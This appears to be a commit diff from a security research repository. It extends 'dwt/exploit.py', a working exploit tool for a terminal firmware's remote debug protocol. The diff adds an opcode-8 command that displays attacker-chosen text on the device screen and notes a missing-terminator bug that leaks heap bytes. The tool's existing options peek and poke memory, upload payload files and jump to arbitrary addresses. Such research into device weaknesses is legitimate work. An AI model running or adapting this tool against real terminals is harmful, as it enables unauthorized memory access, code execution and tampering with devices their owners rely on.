dwt: rdebug opcode 8 puts attacker text in the TM Messages box

This commit is contained in:
SDD committed 2026-10-18 11:03:01 +03:00
1 parent 619aff0a93
commit 0e4075958b
16 files changed
+442

No files matched your search

+40
View File
@@ -31,6 +31,9 @@ Examples:
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000 --jump-wait 2
# opcode 8 -- put attacker-chosen text on the terminal's screen
dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"
# build the frames without opening a socket
dwt/exploit.py --opcode 7 --dry-run
"""
@@ -261,6 +264,30 @@ class RDebug:
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
self.expect_done(payload if flag == 0 else None)
def display_message(self, level: int, text: bytes | str,
terminate: bool = True) -> bytes:
"""Opcode 8: ask the firmware to display *text* (len 1..1024).
Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler
allocates len+2 and copies len bytes, but it does **not** write a
terminator (measured: a message sent without one is followed on screen
by stale heap bytes). So ``terminate`` (the default) appends one NUL,
and the NUL counts toward ``len``. Returns the reply payload (normally
``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
"""
if isinstance(text, str):
text = text.encode("latin-1")
if terminate and not text.endswith(b"\x00"):
text += b"\x00"
if not 1 <= len(text) <= MAX_XFER:
raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
if flag != 0:
raise ProtocolError(f"display_message: expected Done flag 0, "
f"got {flag:#x}: {payload!r}")
self.expect_done(payload)
return payload
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
body = be32(bit_addr) + be32(len(args))
@@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]:
frames = []
if args.opcode is not None:
frames.append(be32(args.opcode))
if args.message is not None:
text = args.message.encode("latin-1")
if not text.endswith(b"\x00"):
text += b"\x00" # the handler does not add a terminator
frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
if args.peek is not None:
frames.append(be32(2) + be32(args.peek) + be32(args.len))
if args.poke is not None:
@@ -344,8 +376,13 @@ def main(argv: list[str]) -> int:
g.add_argument("--poke-file", type=parse_int,
help="poke a whole file: bit address")
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
g.add_argument("--message", metavar="TEXT",
help="opcode 8: display attacker-chosen text on the "
"terminal screen")
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
ap.add_argument("--message-level", type=parse_int, default=0,
help="opcode 8 first word (default 0; try 0..3)")
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
ap.add_argument("--file", help="poke-file payload path")
ap.add_argument("--arg", type=parse_int, action="append", default=[],
@@ -410,6 +447,9 @@ def main(argv: list[str]) -> int:
off += len(chunk)
print(f"poke-file {args.file}: {len(data)} bytes at "
f"{args.poke_file:#010x}: ok")
if args.message is not None:
rd.display_message(args.message_level, args.message)
print(f"message level={args.message_level} {args.message!r}: ok")
if args.jump is not None:
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
wait_timeout=args.jump_wait or None)